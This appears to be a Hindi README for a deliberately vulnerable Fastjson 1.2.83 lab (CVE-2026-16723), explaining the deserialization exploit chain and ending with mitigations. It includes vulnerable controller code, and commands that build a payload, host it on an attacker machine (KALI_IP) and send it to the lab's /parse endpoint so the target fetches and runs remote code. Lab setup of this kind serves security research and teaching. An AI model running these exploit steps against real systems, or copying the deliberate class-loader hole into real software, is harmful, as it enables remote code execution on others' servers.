
Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)
अस्वीकरण: यह लैब केवल अधिकृत वातावरण में सुरक्षा अनुसंधान, शैक्षिक प्रदर्शन और रक्षा निर्माण के लिए है। बिना प्राधिकरण के लक्ष्यों का परीक्षण करना अवैध हो सकता है; उपयोग के परिणामों की जिम्मेदारी स्वयं उपयोगकर्ता की होगी।
| आइटम | विवरण |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| प्रभावित संस्करण | Fastjson 1.2.68 ~ 1.2.83 |
| भेद्यता प्रकार | डीसीरियलाइज़ेशन रिमोट कोड एक्ज़ीक्यूशन (RCE) |
| मुख्य विशेषता | Gadget-free (किसी भी तृतीय-पक्ष लाइब्रेरी पर निर्भर नहीं) |
| पूर्ण RCE शर्तें | JDK 8 + Spring Boot Fat-JAR + SafeMode बंद |
Fastjson 1.2.83
Spring Boot fat-JAR पैकेजिंग (इसमें LaunchedURLClassLoader शामिल है, जो एक्सप्लॉइट चेन के लिए आवश्यक घटक है)
महत्वपूर्ण पंक्ति ठीक की गई: ParseController JSON.parse() को कॉल करने से पहले थ्रेड ClassLoader को LaunchedURLClassLoader में बदल देता है (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())); यह @JSONType प्रोबिंग पथ द्वारा दूरस्थ रूप से क्लास लोड करने की आवश्यक शर्त है
दो पार्सिंग एंडपॉइंट उपलब्ध कराता है: /parse (JSON.parse) और /parseObject (JSON.parseObject)
स्रोत कोड से fat-JAR बनाने के लिए (JDK 8 + Maven आवश्यक):
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
निर्माण का आउटपुट target/fastjson-rce-lab.jar में मिलेगा।
यदि Maven नहीं है, तो प्रोजेक्ट के साथ आने वाले Maven Wrapper का भी उपयोग कर सकते हैं (
mvnwपहले से कॉन्फ़िगर करना आवश्यक है)।
# start.bat पर डबल-क्लिक करें
# या कमांड लाइन से
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
chmod +x start.sh
./start.sh
# या मैन्युअल रूप से प्रारंभ करें
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
--server.port=18080के बारे में: पर्यावरण मेंSERVER__PORTजैसे पर्यावरण चर मौजूद हो सकते हैं जोapplication.propertiesमें पोर्ट कॉन्फ़िगरेशन को ओवरराइड कर देते हैं; कमांड-लाइन पैरामीटर के ज़रिए स्पष्ट रूप से निर्दिष्ट करने पर पोर्ट सही रहता है (कमांड-लाइन पैरामीटर की प्राथमिकता सबसे अधिक होती है)।
JVM पैरामीटर के बारे में:
-Xmx256m -XX:+UseSerialGCकम मेमोरी वाली वर्चुअल मशीनों (जैसे Kali 2-4G) पर सामान्य रूप से चलाने के लिए है, ताकि JVM प्रारंभ होते समय OOM से बचा जा सके। यदि मशीन में पर्याप्त मेमोरी है तो इन्हें हटाया जा सकता है।
curl http://127.0.0.1:18080/status
अपेक्षित प्रतिक्रिया:
{
"fastjsonVersion": "1.2.83",
"safeMode": false,
"autoTypeSupport": false,
"vulnerable": true,
"javaVersion": "1.8.0_xxx"
}
safeMode: false और vulnerable: true होने का अर्थ है कि यह भेद्य अवस्था में है।
1. हमलावर विशेष रूप से तैयार JSON भेजता है (@type jar:http संसाधन पथ की ओर इंगित करता है)
2. Fastjson की checkAutoType() typeName को संसाधन पथ "typeName.replace('.', '/') + .class" में बदलकर प्रोब करती है
3. getResourceAsStream() LaunchedURLClassLoader को ट्रिगर करता है → दूरस्थ JAR लाने के लिए HTTP अनुरोध भेजा जाता है
4. ASM बाइटकोड स्कैन करता है, @JSONType एनोटेशन मिलता है → इसे विश्वसनीय संकेत माना जाता है
5. खतरनाक बेस क्लास की जाँच को छोड़ देता है → loadClass() → defineClass()
6. <clinit> स्टैटिक इनिशियलाइज़ेशन ब्लॉक ट्रिगर होता है → RCE
// ParseController.java — /parse एंडपॉइंट
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
// ⚠️ यह पंक्ति महत्वपूर्ण है: LaunchedURLClassLoader पर स्विच करें
Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
Object obj = JSON.parse(body);
// ...
}
इस setContextClassLoader पंक्ति के बिना, Fastjson सिस्टम डिफ़ॉल्ट AppClassLoader का उपयोग करता है और jar:http:// प्रोटोकॉल के माध्यम से दूरस्थ क्लास लोड नहीं कर सकता।
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
रिपॉजिटरी के साथ आने वाले poc/GenProbe.java में दो संगतता समस्याएँ ठीक की गई हैं:
/bin/bash -c → सामान्य Runtime.exec(String) संस्करण में बदला गया (Windows/Linux दोनों पर काम करता है)"cmd /c xxx" उपयोग करें, Linux लैब में सीधे "touch /tmp/pwned" या "bash -c xxx" उपयोग करेंपूर्ण हमले की प्रक्रिया 靶场测试完整指南.md में देखें (उसी निर्देशिका में), जिसमें शामिल हैं:
# हमलावर मशीन पर (या Java कंपाइल करने में सक्षम मशीन पर)
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
# poc/www/probe को Kali पर कॉपी करें
# Kali पर HTTP होस्टिंग प्रारंभ करें
cd poc/www && python3 -m http.server 19090
# लैब पुनः प्रारंभ करें → Kali के नए टर्मिनल में एक्सप्लॉइट चलाएँ
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
# JVM स्टार्टअप पैरामीटर
-Dfastjson.parser.safeMode=true
// कोड कॉन्फ़िगरेशन
ParserConfig.getGlobalInstance().setSafeMode(true);
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.x</version>
</dependency>
Fastjson2 इस भेद्यता से प्रभावित नहीं है।
com.alibaba:fastjson:1.2.83_noneautotype बिल्ड संस्करण का उपयोग करें| विधि | पथ | विवरण |
|---|
| GET | / | लैब होमपेज (HTML) |
| GET | /status | Fastjson कॉन्फ़िगरेशन स्थिति (JSON) |
| POST | /parse | JSON.parse(body) — मुख्य भेद्यता ट्रिगर एंडपॉइंट |
| POST | /parseObject | JSON.parseObject(body) — बैकअप ट्रिगर एंडपॉइंट |